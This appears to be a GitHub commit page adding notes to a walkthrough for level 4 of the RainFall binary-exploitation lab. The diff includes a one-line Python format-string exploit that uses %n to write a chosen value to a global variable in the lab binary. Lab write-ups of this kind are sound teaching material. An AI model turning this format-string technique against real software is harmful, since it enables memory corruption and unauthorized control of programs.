Skip to content
This repository has been archived by the owner on Oct 30, 2024. It is now read-only.

Commit

Permalink
level4: correct
Browse files Browse the repository at this point in the history
  • Loading branch information
zneel authored and akarasso committed Oct 29, 2024
1 parent b027180 commit 54bb020
Show file tree
Hide file tree
Showing 3 changed files with 4 additions and 0 deletions.
File renamed without changes.
File renamed without changes.
4 changes: 4 additions & 0 deletions level4/walkthrough
Original file line number Diff line number Diff line change
Expand Up @@ -39,8 +39,12 @@ level4: file format elf32-i386
08049810 g O .bss 00000004 m
080484a7 g F .text 0000000d main
```

We have to input 16930116 bytes so it pass the if statement

## Exploitation

%12 is the offset of the printf arguments and the address of the EIP

```bash
level4@RainFall:~$ python -c 'import struct; print struct.pack("I", 0x8049810)+"%16930112u"+"%12$n"' | ./level4
Expand Down

0 comments on commit 54bb020

Please sign in to comment.